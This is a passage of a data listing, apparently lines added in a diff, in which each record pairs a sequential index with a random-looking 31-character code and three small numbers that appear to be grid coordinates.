+9374,E6SYZC90HFCHASP504MP5GHIQJHQ1K8=,147,3,5 +9375,5JP7AEL45ZLRGW1MKFA0KZY5SARLNDA=,147,3,6 +9376,M2VF8F0EPP81NSPZF3WJLELI21C4SDW=,147,3,7 +9377,VNHOBZ31LSJOWRHUOVAN1KS24UO3PMN=,147,4,0 +9378,2AOFPWY5BJNGKQC3WIUQQB0MZ7RCWHA=,147,4,1 +9379,U9JJ69ZISW4YLEN560VJ4XV0ACY49W9=,147,4,2 +9380,OGDAVXSLZF0QV00TW6PX7R3DMJHAUZ7=,147,4,3 +9381,OY6Z1SR34LO63QRB361QAA5Z6MUG7NS=,147,4,4 +9382,D5MWML2ZPM7J4BX1YZIO9OT9J295YEP=,147,4,5 +9383,9TFK8C71HSFGOEDVU8Y9VY5JEZIPGYW=,147,4,6 +9384,JPCN5MTV7AIHSH1IKPA8M3ANMIMWQ34=,147,4,7 +9385,1D1D355YMQRG10Q2VD5PWIJRHO9LLPD=,147,5,0 +9386,6NN9UCQE76K3TFWS9U4MGTWA3XD6ZIS=,147,5,1 +9387,XJ92E6W3YMBV5DHOK1YDT3T4SLBA2FK=,147,5,2 +9388,HEZK1PF0KM3V1EIEMTONW5MXP3STYNW=,147,5,3 +9389,JCU4WZEDPQT2Q2T7MDTL7WMVNLX35CL=,147,5,4 +9390,VWWGY4GK0NT8AFUFPYIPG7R3N79F1L5=,147,5,5 +9391,2XZJUGTL5SO1FBR0FITFPGCL7DFM6LB=,147,5,6 +9392,ZAG0MIQ3RI0MP1R31HDUPZ33HE12E8Y=,147,5,7 +9393,MNBOMBQQKDY32E1G13KO8DPMMVMN2E8=,147,6,0 +9394,PET8JSOMT5B7X6II5F9T04UXOESMIIP=,147,6,1 +9395,DMC9PWMARCJT702PYFS7PCS3LCMVX1Q=,147,6,2 +9396,66GHTX8LXCFIH10DTNDXN48K2OMT24K=,147,6,3 +9397,IAXSF2XYYBWCLES9PZCS2E3VB2H1EEP=,147,6,4 +9398,K79X96IT5D3ZJS9VBBCEOZCE5A9WIB3=,147,6,5 +9399,EWGWSWC8ZQHNDA3KS24J6UOC00MS0D1=,147,6,6 +9400,M3JRY6D744LNYTGFBW8ZUXHE8U9ESE4=,147,6,7 +9401,CGZRC3JILYGQSPUGC5ZSANFESFTRYGU=,147,7,0 +9402,EJSUBI0KLDXHKJPVVNRQX7MLQWSS9T3=,147,7,1 +9403,FX15ZJFJJAIMX0U3SBK2OXI2M8N71DB=,147,7,2 +9404,SC611BDWXIYUG6TIXZT4JCNZ3YQ397K=,147,7,3 +9405,L0II6QRBGXCZMCTNQO64MI64MRQOWSS=,147,7,4 +9406,LPM4LNFFGOWI7GMPUJ0JEDE88OQOA5G=,147,7,5 +9407,YEXBJYAWTIR5RK3WFZOBRRRXMDIF8Z4=,147,7,6 +9408,F5NEHOU1TWQ22DQ5Y1BXC0RTLRWDE7R=,147,7,7 +9409,IR5STR06TXYKA7UKITOZM5JJCP83TFI=,148,0,0 +9410,ZC82JQW7I3T1AADETPWCJLPSGSW7GQP=,148,0,1 +9411,AEN7K91ETNB2PSRGBAVEZIHXCH1242E=,148,0,2 +9412,RM9RS0BC7KYL8NUJ4CVXRTP4QWKDC15=,148,0,3 +9413,7IODHWXLDGD3BPPHSWEYAWXFVDMD3OX=,148,0,4 +9414,DCNJY29A59ZLQVOV4LQ4UEJ7FRHFVJ4=,148,0,5 +9415,M0G7M97SBVB6Z3WPVIBJDP32HL32GMQ=,148,0,6 +9416,ILNRIIX2D3681AR3NVCQ3U7ZVJBCRYP=,148,0,7 +9417,DCVS71TX1WDQ7Y2XAHHAH3U410FK5ZQ=,148,1,0 +9418,HS6NJNLCC9W72I5WQH175JTBT75A75X=,148,1,1 +9419,D53A9AJW8QTYDLU7I5796X4AO4SO5IL=,148,1,2 +9420,B99K4GKCGUBFN2NG9648XMPTRST51EW=,148,1,3 +9421,N40EXXIFSMWGJZ9CAM3NDXFQMG80HPF=,148,1,4 +9422,BJCVWDXSJUHHS6ONOVKQSOQQEO84N8O=,148,1,5 +9423,EBOD4NS3IA2TW38MXB0FGRJZBQ8PM4A=,148,1,6 +9424,JLAVTEBAKSXXR8EO3XTYBMRIRKTNVKS=,148,1,7 +9425,NDTE9KCHZEZXXFUHAU6YNBE5MHTOCUC=,148,2,0 +9426,01SSTYBBGY4ICVE0RRX4HGM32RTEJX9=,148,2,1 +9427,FSK0JK57C9VE4OQJO27R7JK7I9JXWGD=,148,2,2 +9428,7YLHOJOLNJFRSG77B31ZC85HXE100GF=,148,2,3 +9429,P5FFFMVEI8X85LRP51LACNQT2VXFUF5=,148,2,4 +9430,91FIN6GEQOJGKNMJKZ1C94C52MQM5QG=,148,2,5 +9431,VUJFSHAQWBYBVW8VSO7FT9XKAN4FIKS=,148,2,6 +9432,0PAUL6GWRR1008P4NC7JL6WLIKD9DNX=,148,2,7 +9433,RL09BKQ5WMMYLS0F48UAP3ROQ79OG1P=,148,3,0 +9434,9OUYZ134IGUV4XXR8LCNS79K2K4AV5B=,148,3,1 +9436,Z53H9XWSAZIBNUHUMAJ4C5R5J3P9F9A=,148,3,3 +9438,OO99C5UP9OCJH9P0Z2MJ68A887T5VF2=,148,3,5 +9439,GQP1JFMJDD4SJVCFSXSOST71AM0KBSX=,148,3,6 +9440,HG0DWRB6GIEO7HFAIOF0R6H2J5CPN0F=,148,3,7 +9441,MTG0Y8AWWKYYLQ3K3QF2SW38LKR764L=,148,4,0 +9442,LXLXBFK7C7O6H52R6AOW6XRB7CWM8ZK=,148,4,1 +9443,IYNWRMAT1962IFK1T7EV43U9NMOHHWG=,148,4,2 +9444,9TXWQBR862AQIA7OQKYGHOU671IUCSC=,148,4,3 +9445,EZAME95L1CDGS7YGPWC9Q3JG6WG0XHL=,148,4,4 +9446,F7JV4XDXFNC4XXKMQ0V6OA34V4EK9PH=,148,4,5 +9447,JZS8WFB0M2B384KQO0ZC0NLMA9M5J69=,148,4,6 +9448,V44SXNBA46N9H0ZPM1QJX68SVTBAG7F=,148,4,7 +9449,DXIDRL47E2689Z5X52814L8BJFYFDBA=,148,5,0 +9450,O7ZB28G5XF943YG7O2UCPWUVWFYZKMP=,148,5,1 +9451,MZGKG3KUXP2YUJMP6V2BPVJBFL1AWYV=,148,5,2 +9452,F7XFW9LJY6C8U5NPITVA9QRCVXM4PHJ=,148,5,3 +9453,P9TAKPS4ZEJG8R697QWCLFCASVN5YFJ=,148,5,4 +9454,PZI1IWNBK86WH2YX0KK4L7N5XJG9HR6=,148,5,5 +9455,CYVE8Q71MXKRQE72TX7JRLRAGW3N7OV=,148,5,6 +9456,JDB3PJF9H8OKG5O3G86LWVW46P3SWCL=,148,5,7 +9457,32EUDOREV4EZ2F8S1W62BU0D93QZCL6=,148,6,0 +9458,WG2MZZHLQACVWBZVLV4FYZFQ9555HL3=,148,6,1 +9459,K0ENETST6OBWY4QTQC4T4S3UNYZNHOQ=,148,6,2 +9460,E1H757AOQ8XOADC54YX2BL5347BJ25A=,148,6,3 +9461,694ZVEM3FU5HJAP5A047369894RZG6S=,148,6,4 +9462,D9OCWNI0HX3BPH0TZD103Y81C09KN2I=,148,6,5 +9463,HPR2ZCIWKGWYC6JP8ADS5Z4AI5O7QF0=,148,6,6 +9464,Z4JNVQS6F3J32XSQ0IT4VBDDRD5WPY4=,148,6,7 +9465,SEK08YCKGVH5OV79BSQXG6XWNHXQFIY=,148,7,0 +9466,V2HR4D6G1HZFBRKMKVNOYWWJHX4VQEA=,148,7,1 +9467,Z99MU2E1N0WZU0GNY3S5TO5B6GTBRTY=,148,7,2 +9468,ZLK502H7WIIVEH8DXE8PTCUCRL7F8BZ=,148,7,3 +9469,6JAFFJKZEFPY7K4O7Z7DOCG0DGQ440Y=,148,7,4 +9470,5PJADTX7D7D5VZ9LQAG35LJ5DH03PDX=,148,7,5 +9471,P9IYKED4LM50VEYG6ZEG7ZN1QOELRX3=,148,7,6 +9472,TUJBXBYCU6AFODTTHZO3MZVSKM4WAQQ=,148,7,7 +9473,DCJDGYRL5R1ZVQ6KS7XOUC71QRBA458=,149,0,0 +9474,MMH5V6SP95X74IY1CJ1PTK9I0EO2TML=,149,0,1 +9475,R5H46UA6MWB0PRTK6Y50EZ575DG65MN=,149,0,2 +9476,WVADCWD35X6ODUSA5JT9IZZO0CLTRD2=,149,0,3 +9477,HS69Q6Y4RQY7RFUSZ17P1I4HGPZRLPM=,149,0,4 +9478,N49ZKLPVJN6097AH9HS9ZWQV1C4SW9T=,149,0,5 +9479,59IV7CPFPXO2C8Z0MXUK6WVJOOF3Y7Q=,149,0,6 +9480,Q037VN02THG19AM7F82M3NUEEBE51AX=,149,0,7 +9481,2WSGS5URLX7ZXJB70JK2PKTXDB0YSD9=,149,1,0 +9482,ONI82EAOV4UYUXTL9BMGON9AAS1GXUI=,149,1,1 +9483,O9L5DIEQ2H4KUVLSE8UAJB36QOPR8Y7=,149,1,2 +9484,20C9LQNLL50NDBPITP352G7NW5152R7=,149,1,3 +9485,S42HK9IYR2F9HRTAZ6U8V1S21FKUUI1=,149,1,4 +9486,GCKI6DXUKNXPP7QUWS1WKBIP3705H5M=,149,1,5 +9487,SQ2G3QOP5KLASEH5G6UOQHXWDYJ4UF7=,149,1,6 +9488,YQP4JG34Q55NW7WME6787Z70M38G9AJ=,149,1,7 +9489,KQ8869GPWW8B5EAYGO28BRX28GNSI60=,149,2,0 +9490,B6J19MRFHT7MYUR0D2M12E1JXS3UDO1=,149,2,1 +9491,LJKWRSOWELTOR1A3CW3CURGO7FIW4JX=,149,2,2 +9492,SJQ7HXFWTYYW74CHU336GC2PKBA8IML=,149,2,3 +9493,E7V3N319VJJFNS5FFU379I3XWAZLA7K=,149,2,4 +9494,IVMBQR9KEADDJGTL85GUJYTFKNGB32T=,149,2,5 +9495,K5KU0Z9QG2PNTS7IFORBIMFTNXLOOK2=,149,2,6 +9496,T300U42HLHE4B1WDX5CMQVQ3S9VL7L4=,149,2,7 +9497,0PLIBBCKHXGSUWWF1282EU4A0CXY5DD=,149,3,0 +9498,FBC3NYU55Y0P2TMF5FE7IJ2UUBRFV6Y=,149,3,1 +9499,BGRAB6JHEHTNYJ5RUMHQWQ2PW0JTDL6=,149,3,2 +9500,4UGIQHOFVMCIUY7499PNQXBY5SSLDXT=,149,3,3 +9501,U1ZBVE0OJ1S5YZU9WPF2WXGEF5MP73U=,149,3,4 +9502,JVTBSEE3LVDEZ9F06CB8YISFPYZM1CZ=,149,3,5 +9503,300OTZYG1YGILKTSNC7HL6OKE4S5XW5=,149,3,6 +9504,W5KCVSW4SN973R2TVUAO8967JIEBQZF=,149,3,7 +9505,SSJMC4AZPWBXWJHIGSYN8I69JPC33KF=,149,4,0 +9506,Y9GPLIC9Z0WBUYD6UTN6IT9G0TF7A5L=,149,4,1 +9507,I0MTW01DQOMCMLLGG58C0M7BU0IU60O=,149,4,2 +9508,0OQGEJR7WXOOTZNDVUUVSL22QUUDRXI=,149,4,3 +9509,CO2OLNH4DCRVZJYX3FKM9TYGOG8KRGL=,149,4,4 +9510,WJUPLX1BACJQ40O25SJZI3VTGZJQGTK=,149,4,5 +9511,0GD24FRZM43HSI2HHUIE8LNUSZR0KIR=,149,4,6 +9512,Z0C47FEPN3D2XV1I7WMNBOIT1GVOMRV=,149,4,7 +9513,V6BWHX27BITVB58OH04NPIW1CG0IAMZ=,149,5,0 +9514,IHI522BMGECYYO1XCYR6O1UJW665W07=,149,5,1 +9515,6B9XVPG2XRN19LH2CMY6JPJHPGHS072=,149,5,2 +9516,2OBQU80SNW6GN53Q3BJ5UFLIDCGDCI3=,149,5,3 +9517,I7VLF7STY7BY2UMRA33IW9L57HDK64R=,149,5,4 +9518,K3ZUV06SSNZOA4GWUHCXY2F6H9EUS7B=,149,5,5 +9519,4U9XZ13M21GQ5OMD31QXI7NB3IV7L46=,149,5,6 +9520,98T6SAEBKMAW3TKVWYDGH1FNWZQMO8Q=,149,5,7 +9521,QSJHKFR7DFRZUYVMBHYYQ9C2L9DM0WQ=,149,6,0 +9522,U2J7EPMHGUND9S3LXT7KZLRXONLOGA4=,149,6,1 +9523,GSH48YE7JYHX510JOZ2MBU7CAU83V8N=,149,6,2 +9524,4BSVCJO7NFJJ7V7QOI88FKI13Y7OZEZ=,149,6,3 +9525,KRG0GLYVQ7LLPM1UQTOPCWRL4R15OGF=,149,6,4 +9526,AYOHLNUYHPYQR8FZYTJVMBRA4XVLDYY=,149,6,5 +9527,4FT3I5AG2LD8FESMHBLZI4OGKS6SGVP=,149,6,6 +9528,JR0MPENV3LM1ISI58M6FBEL31OSPZ2V=,149,6,7 +9529,PSBDA24KUO2FGMSZ8KHYKOCVDK5D9WN=,149,7,0 +9530,KRZU1441CLRYLKRZ1AZADNM6QDRYX0C=,149,7,1 +9531,L7NG2FUU5KSDTVXAC46GVFGTNKWP6MN=,149,7,2 +9532,C5OEO9QZN7S02TTIS6H7WWC8RXJZIHV=,149,7,3 +9533,QX4K3TBVUYVBZ0R9HWNGW0LRF8E1MDJ=,149,7,4 +9534,EQC6NWW5NNNB34JATEYDZ7GV5B05EYP=,149,7,5 +9535,82BN9K7HRGWSSTCAXAUUKIWBO400CUX=,149,7,6 +9536,6XZ4DH649ZF9ZJOY9LFDCQXR3M6CF6D=,149,7,7 +9537,VBB5ZLZOIZLX92W785T9TVKEW5VWLD6=,150,0,0 +9538,XZ0UOQCJJX6CLVB1JNU3UGI419L9IE2=,150,0,1 +9539,1RLRKF884YJE31O6OA54PNJ1N44GL5C=,150,0,2 +9540,8H24W9RKJRBPPXTWOH02D8GFF70KW2O=,150,0,3 +9541,A129RX8R7832ZXJ8V02F15XUSJIKQMH=,150,0,4 +9542,2LQN4CTEHLD0DE7103DXM43IFQBNM3C=,150,0,5 +9543,7INSM5CATHMXKB0ZP6TDCJMFWCOJM9M=,150,0,6 +9544,EQALVLU0EKXY4TRQIBZTZPMN5ZOZ6I4=,150,0,7 +9545,Z00ATFQT4P11TLGRW1ADPBMA3YI3YS6=,150,1,0 +9546,2TEC3ROA4JVCSR7YD3XX6JM4IAUJ8AD=,150,1,1 +9547,0PNTZ5BU169D5MTDRYZVE33LQMSHP8H=,150,1,2 +9548,CKEJEHP28XAOQ939H3J90WBC201T5O6=,150,1,3 +9549,VNSUGBNJA291KM8YHWRCD8CRXOGEZNU=,150,1,4 +9550,SBVBUAQJL1XDSYIDYC30GBI2CQ91FB8=,150,1,5 +9551,EPUKU2W50YWNJJ9JCE7ZMZLVTTXTFZC=,150,1,6 +9552,5ER8LWRLRMY2RZCS8G3D88WRJO51EJH=,150,1,7 +9553,BL49ZHKU9L3URN63VIRHLKXAAMHGSRA=,150,2,0 +9554,UP8WGUCNM8K0B2Z108SSVFFVE93NL1X=,150,2,1 +9555,AJWGIG67PMJCWZETX4FWFCJPUEMBJNQ=,150,2,2 +9556,TSKCRB4P1YFRCCTDTQ624O3AL1B8K4R=,150,2,3 +9557,GR3J9T3NWIYXHKXI2XR0Z7W0AFPDT2A=,150,2,4 +9558,IJ91QF5VI3BA9YVJQR7ZN2ACOKF0KDH=,150,2,5 +9559,8M6196Y7YXUU1C9GFVKD256R3M24LY8=,150,2,6 +9560,1G38JFGCWCXINS1S9RFVV5FGQ83NU9Z=,150,2,7 +9561,K2CFSGWJR8HZWUGQQKY7VU2L2S6AA7M=,150,3,0 +9562,LVPGWO7KG8ADYEPCMMTZW2TX84XZQ1T=,150,3,1 +9563,7AVWXM249FUYGNARCA5XU3N9CCGLCHQ=,150,3,2 +9564,EJ7P8P0DZP7WYL6SB2P4YB1MRFKDE04=,150,3,3 +9565,PHG5BCXF6YOEGQDWX1WP7GL8EURGUOZ=,150,3,4 +9566,G7ZTARVSOD9IL53YUK3J92B5JLAXFD9=,150,3,5 +9567,01Y3PSUTVB2GC8Y36CIAHA42VT4SDAG=,150,3,6 +9568,6E6FASHJH5LCT68DAHTONK1AHCFV62S=,150,3,7 +9569,0C1G4YIEQFXDL6QIZ6WOJYVI0H3QM6O=,150,4,0 +9570,7EKEMQLC0R07XJ4HGKL0BWAQT1K5DKF=,150,4,1 +9571,B2QSPFSLAN6VDLLC7D4EB24P2L4ZQEI=,150,4,2 +9572,J2J0M5IV7MGMBHYRU9V1V4MO9AJ2XF3=,150,4,3 +9573,MOJ9TDPYX6V63X4QW1BTA7F9RIC4GQO=,150,4,4 +9574,N16EJXOZ5OBSXZ8M3DTHRGTBGGRFZMQ=,150,4,5 +9575,TXDT6MHOZO49OLOKUT4IKGOSI8I94MG=,150,4,6 +9576,CDTO7HYG94W1HJ9RE7GZDDT6FQZGGZQ=,150,4,7 +9577,WY0KIRXAIYKCHW8SEYP2QFFSZDH4KN1=,150,5,0 +9578,R3F898DEGVL5836EUMW5E8S1KWMCZCU=,150,5,1 +9579,OOL4X7Z89MYDVUB629F76JKZQ93H4PN=,150,5,2 +9580,2CSWWI6WRP1X2QEXFXC17IC5SR42KWG=,150,5,3 +9581,D2PHWH5DVS888I56E0W2Y7SRUTWADKH=,150,5,4 +9582,S8G8WFTOY2GG2U25G3HTPL527G4OSYH=,150,5,5 +9583,82ZUAUB7KFJFBHNO8GBNUEH2RQ9369T=,150,5,6 +9584,22OLGM55X4Y9BUPIY1Q41BQVE22YEHW=,150,5,7 +9585,T756WLLPEVWZ9KHVKQZIADFXBK2MMIO=,150,6,0 +9586,H5MMUQ9Z1P46DHMBJ6I89SI76N36S5P=,150,6,1 +9587,5AC5UC4UA2HCYI5PY5F2YCNC2COLGSC=,150,6,2 +9588,P8ID25PGOTXYHTB1T1L1ENJIY2VH4YP=,150,6,3 +9589,2CSCBPL5TUE0M57K89OS6NWGKXXOTYX=,150,6,4 +9590,EMTG0UFN92C4OD2O732OSF275WHCN62=,150,6,5 +9591,4R6NBF1WKWM4HWLU13MW7534NEAFPLH=,150,6,6 +9592,8SYGUX97WZJT1M65UQ1C0SNY3ICYXZH=,150,6,7 +9593,C6JW4SXQXL3JWDX3E2WCZZHDLKU3KBC=,150,7,0 +9594,DAMRT6C4XDUXDL4Q5GOT5HS1XIJY6M9=,150,7,1 +9595,627HAKA978IA9F8K0NX1Q9VFVJPWIGL=,150,7,2 +9596,BRPVLWTRFC16Q91AZB07TI6QFOS9KA5=,150,7,3 +9597,V8V9N74VN55DDU0JIS46Y1T4F61KX2H=,150,7,4 +9598,0F8SHDU55KQSY7YYEEFMO6NPPS03DOI=,150,7,5 +9599,9WBKSKD8ND9IF81YGIUL3C76P5D15HO=,150,7,6 +9600,SO0ZAU5BSGG60EF6MN4FGCFBLTAAPO1=,150,7,7 +9601,3NKVQVEVJS1RS3N8R7DM41FB5RQR267=,151,0,0 +9602,OW7S4R8LHCFLJIWJN8B7UALF9B93X6J=,151,0,1 +9603,3RW7TZ7NG4YFFF9OJE2BG5YTJWBM6JC=,151,0,2 +9604,CE8WZW2NKAAH9SVRZSO962S2S5DY7AG=,151,0,3 +9605,OGUVF2584S9J5FOKLFO1YP4YX518X9I=,151,0,4 +9606,X725H5CJJAQ1B72O8VEAIOGTN820FHU=,151,0,5 +9607,3BF8NKU27BJAWQBEZVK5ZDWLB8BGNL3=,151,0,6 +9608,LK80X6SEXH0EY62KJIUME12Y6CGALEA=,151,0,7 +9609,I29QTHKELJELMOGWU4CEBD5L8VEMGKU=,151,1,0 +9610,4R0YI58P73PHKVNP65IKRLHVPBX4CGI=,151,1,1 +9611,E2UCVTB5O4UC8M81XKLYWL7IRF2PIE3=,151,1,2 +9612,0QLA16JB0FGMRKYC9DAGZ07GY58RTK0=,151,1,3 +9613,8JC3SPT2W8PGNBJONNOIO1HS1PNHWC1=,151,1,4 +9614,460LQB2PU736IY3BTUJLQPA8AV3UBWI=,151,1,5 +9615,296XVQ4RCFPVB3DD4RXKM17QTE0LRS1=,151,1,6 +9616,NMR433KHBTODC3HW50AEG909AW795BZ=,151,1,7 +9617,J2C2GFCROZR2KYP8KSFD5G6LWX5W3SV=,151,2,0 +9618,3EYDP2UOGB1NQ5VHL107Y4TLLNPWPLL=,151,2,1 +9619,JB62LMP753XDDMJG5HLDK1L4N1MEF1N=,151,2,2 +9620,9OO3OYOATER1EPKYXNFK82G6KIIWRDA=,151,2,3 +9621,ZDVZGNOTX2L80CZBEZ9I6PHO38UE324=,151,2,4 +9622,KUJUT5XO7G6SQF7DRHT960LOW4160PL=,151,2,5 +9623,JOR3ICDKV54NZLOXIWPIOFZSOD2LSJK=,151,2,6 +9624,4DK0MQWIIEJ462FDON6U8Y6Y9E11PYZ=,151,2,7 +9625,FTHZT8H2KPESYJ1YU7JRFTPFR8FF2WM=,151,3,0 +9626,DCYZKH1OMU9B92HD9I33KX1DD0YXQO0=,151,3,1 +9627,39C23TKGNQ6L29GXUYPCWZPK0E4J03B=,151,3,2 +9628,QDYYCKSBMLM1QW0YDVOL3B4KC9FU5HV=,151,3,3 +9629,HGQZPNQ0AJ89MFAE9RVAXRIL5ZG2OV1=,151,3,4 +9630,DUH1I1KSR9LOW0U1O27N7ON164Y2GR4=,151,3,5 +9631,0BQCYCEIQBGXAGPSD7UPGUYKTIGQBB0=,151,3,6 +9632,U03FEB2ZRHVCH2YI7XI5UGZ4L1QC0G2=,151,3,7 +9633,0N2V0QO4TRZA68LXWEY4MA1GNZFYJMV=,151,4,0 +9634,LC0G14VP7TWIEH8NH7K9NTZ8JBFROLL=,151,4,1 +9635,JDK62H1NVRKN37E1T4KVO9PRI4J237Q=,151,4,2 +9636,RODGDG42OIM8C6JO0U6YVJVR4J8W764=,151,4,3 +9637,LR169L8KGX0M5YUCN6CFJRO977ZA5LV=,151,4,4 +9638,WUKLGF8E3VCAHW2L5LL6VKMQ7FJA54B=,151,4,5 +9639,DHM1WMRY6HK9R8Z4QO5F4D1HL08ZLA5=,151,4,6 +12545,PED28STSSJ8FAE4T82LEK6GUU5F2IVN=,197,0,0 +9641,8V30B2SQH8HGKXKUHVXWUA9X4BT1IT6=,151,5,0 +9642,1YCB13VE03R6EG3643X21VCAMXRWKSW=,151,5,1 +9643,FDPHIVJAHD29QGTTC7V2GBZ4FZ5FJ6M=,151,5,2 +9644,RIMZB7YGVU5H6TRNJ59VP4XJUZYO7IR=,151,5,3 +9645,QGPC5CD6JOF6NZ4VJC4MWP8A6V6TRHI=,151,5,4 +9646,29QLTEZP434WWFTCCRZ85VV3NL62WCW=,151,5,5 +9647,CMQIHG966VIKD7ZW288FE16JOMF3I03=,151,5,6 +9648,Y0T2NVPNWOKNZEO9PGO2JR7RX2L1EHI=,151,5,7 +12546,3FR7U3WQWR207OOY1Y70LQOVJ9Q37ZY=,197,0,1 +9650,WW7TD75EGI4QET4HFD6KU9IWXM5C7OI=,151,6,1 +9651,QPQNDKBGYNQZF6KS359K0A05MU8984A=,151,6,2 +9652,FLHK0VBKU1U8D4VQGODBLAJU64MJFHR=,151,6,3 +9653,UIWTWC9OGNHE964D504KCI31SWE60VE=,151,6,4 +9654,IZ33RB3QI5L5GX0KT6MYMPOCJ0P9X7Y=,151,6,5 +9655,S8AQ8VZAFW4FAFU0KV2HO7LJPD0A0FK=,151,6,6 +9656,1KOSDKGQIZW9X5Z3C6EEM4MPSA35AXY=,151,6,7 +9657,UX68X9YXIBUD6Y32CVOYHK7G7I2I2FV=,151,7,0 +9658,P1NM4BOH6S4JBN4ANX704EMHZVHUCWV=,151,7,1 +9659,0OFROJ4I5UEHSNYIJIHSDQYDBK5DX0X=,151,7,2 +9660,677KZ2XZB227K8JRPKH010DA5D49U96=,151,7,3 +9661,ETH6TF0HG3DYT8WAVC5B6ACTLZGTKE1=,151,7,4 +9662,KE9U2UN6VQI7KQEXC1Y2XJBIJP27EYW=,151,7,5 +9663,05EV32ZC2237ZHI122G444ZTKC4MGSN=,151,7,6 +9664,EKR8GY71BMN3R1AH7LMKMDLGDY0MH7J=,151,7,7 +9665,59QHOBYDZUSZ77AZ6H3DIMXMFEDX7IC=,152,0,0 +9666,9RKZHMQ6LPOASY0DIP7COLTOSET0NN3=,152,0,1 +9667,WEGMIJAJ499JMIPB6EZD7BBRHIWAMAG=,152,0,2 +9668,9RDSEP12JE625M2L2II7BJ2EGOB3V1Y=,152,0,3 +9669,007JF12TR62RWUV4GUFDL4SJS76DZZR=,152,0,4 +9670,H9E0DL947OQ29QULRCL4PA09DZ05XB9=,152,0,5 +9671,SDARLBSGZ68D2FE5FGF09WEMGKGKM6P=,152,0,6 +9672,78NYD8IH2MDUO39KXTH3I09CKELJB7Z=,152,0,7 +9673,20HHWVZHS1XPELOIOW6RLGOR7QJEIFO=,152,1,0 +9674,BASTA04FJDS3NE3X6P99S8PK3N9T525=,152,1,1 +9675,GQPDKCIH5YF7WHXXONZ6CZ0M18GBZED=,152,1,2 +9676,3Z26UIE1CFSBLQ27OKK7FRMKWHF40EL=,152,1,3 +9677,BF9WEJGD5S6MXPMP97RLS8AX45VEC1B=,152,1,4 +9678,804XM0VC3MRUAO4XG28GFB50NMO8VHJ=,152,1,5 +9679,MF7KOXEZFNJX6PVCTGCHZ48Q9NSF0OI=,152,1,6 +9680,VHEY9B4GVWXBVDPBUSZYDZ1K84MCLBB=,152,1,7 +9681,7UORUN3O0XED0V9MSVVP4E9H69L71B1=,152,2,0 +9682,SHQ5EQU64M27WYOVBHJG9WUDC6M15JS=,152,2,1 +9683,KD6GBYHWSF4BG439LKIPT392733J32R=,152,2,2 +9684,8WJMA7YEI0SC0XB72I2DIMMUIC860G0=,152,2,3 +9685,OG2UCFXZYIYET8OSHWR8Q6CT1KLTHSI=,152,2,4 +9686,5V2MFKDAQBJXFN0U39SHF5GQ0RCHYFP=,152,2,5 +9687,M5NZP6CBWSNLA6JNRBIIZMO5H33PSIJ=,152,2,6 +9688,BZCLQK8NSBDTWO93IFOZO71W0B7ZFCR=,152,2,7 +9689,1ZVOFR5LHF6S9MWEO3V9M3GK6QD01VN=,152,3,0 +9690,13C54BG6U59FISER552DFRRKO555H2S=,152,3,1 +9691,X8JQ793FMBMG9MYLERRSD33WHI24F8K=,152,3,2 +9692,90QMD3Y8CS9JVC838JNCKCAVLLLLLRI=,152,3,3 +9694,4WUGWWXTRKC3V4GGQOL682J2E7YN47N=,152,3,5 +9695,INN3G4619GQFTG7B3QY55YOVJVS3BQJ=,152,3,6 +9696,R9NAHWXFSI4Z1JKW4E8OGKL7LSZ2AB1=,152,3,7 +9697,SHU7SHN2D2O5V1Z3VLRS4LJK1X03VF9=,152,4,0 +9698,2TKZF9WWSN3L13VZ36NXXD2C8TV9ICN=,152,4,1 +9699,7QDBZ66JBT78PE0FZDZV5FGUO5LRRAE=,152,4,2 +9700,X3XI4QAM1Z2IHAP31NQ7QQTHNZS2HSZ=,152,4,3 +9701,ZBIWVGM9FYMLYBVGUU877U3YTVZDXHW=,152,4,4 +9702,Y8SVLBZF0ES03NACAZMLG2WWI96RFAL=,152,4,5 +9703,FAI7VJZRFH58E11676BM4FM0SJ9D02U=,152,4,6 +9705,MAGVICVH55AHKXI7CI1SRV9OMCA5FC1=,152,5,0 +9706,DXDPF6P2WXJJLD77SVA82COPZ1IDPU8=,152,5,1 +9707,TKTF7DIYQCFXYMVCZXAX2KTNM49DEDX=,152,5,2 +9708,6SZQJGW1L3JWHOIYJXF8AWWBQXWB3HY=,152,5,3 +9709,XLG810PG1SQB739A5F432CPL9S216P7=,152,5,4 +9710,A8UDGE1A0988HOQDG1U7D503YNA01IX=,152,5,5 +9711,2AFBHDALYW2L8M53ME528H5R37EQF01=,152,5,6 +9712,VSFC9NJQN7J3ZWS23ABI0HVYA92IQBI=,152,5,7 +9713,GW5JKPYECDLQ1Q6H1CLB34FC1RIKI2D=,152,6,0 +9714,AQQNOJ42SD52YI3A2Z8GFI5LP68SGIJ=,152,6,1 +9715,WL86LCGEWOHHWYGS2WAWMCU3TYMR2XE=,152,6,2 +9716,F6Q7H8OIDF7D54BA0BHSFI6XIB67011=,152,6,3 +9717,5Y8A36BE1BJLJZDWEGI32SP42NCWHE9=,152,6,4 +9718,06MY0XC6NWM3INOZ6T3TKLR4V1070JA=,152,6,5 +9719,B53EQU16N8MZC5ATZLVWNP5JCS7J63I=,152,6,6 +9720,61BDX4TUD5QQZSXIL6O4CICNKKOA16B=,152,6,7 +9721,7730V8996EPHTI4PVHHSPXPRD0AYHH4=,152,7,0 +9722,KC7APWX0H6ZHMNXZG2GT1YPTY40OE62=,152,7,1 +9723,OE1E39JBTJVFP21A7V0CZX0PRU7AY08=,152,7,2 +9724,0ZTRYHI4X064DFSC39A4F7G0AGEG4K2=,152,7,3 +9725,11Z0DBY3BHSLUS6JUD3IJTB56V4HOZ1=,152,7,4 +9726,BBRTGYQV6RDFO5VY2MOMR8SBQ7EIH0N=,152,7,5 +9727,TK1QVUG5FSJHAEOFQGNS0PRUFA12UDF=,152,7,6 +9728,96098EQJAGMMLNRHOLJH7HTUFS0KXNY=,152,7,7 +9729,AWCH1OFGOUO4DVL9JZQGH6UC4C4N110=,153,0,0 +9730,LSU3UDK4QA0KLTCQP7SSHTCYY48MWZN=,153,0,1 +9731,1AV7HDWEHDGS2MC8HKSQOYKDMGZQKH8=,153,0,2 +9732,NSEQ7SO4M8MJ1AO6AOZUGWV8OVCKF16=,153,0,3 +9733,DLVUIPU0D21FB1FB9AST41FNINUXI5S=,153,0,4 +9734,IAHFJ274GWPD6S29FTCAGFKP3IEUNZW=,153,0,5 +9735,WQMMF0J69L1U0EAXYAD17WAUDL5TWBT=,153,0,6 +9736,QA386U9TG8J4EKM0ZOO4U9UXHQ9X9X1=,153,0,7 +9737,BE6YMF473ZLCSTABN4GIIR588IKDXPA=,153,1,0 +9738,YWSQKGIG911Q2OWFH9AV1LLKZII9XN6=,153,1,1 +9739,EUQPS36UEGAJPRK0UAAZHMILBXB1WCJ=,153,1,2 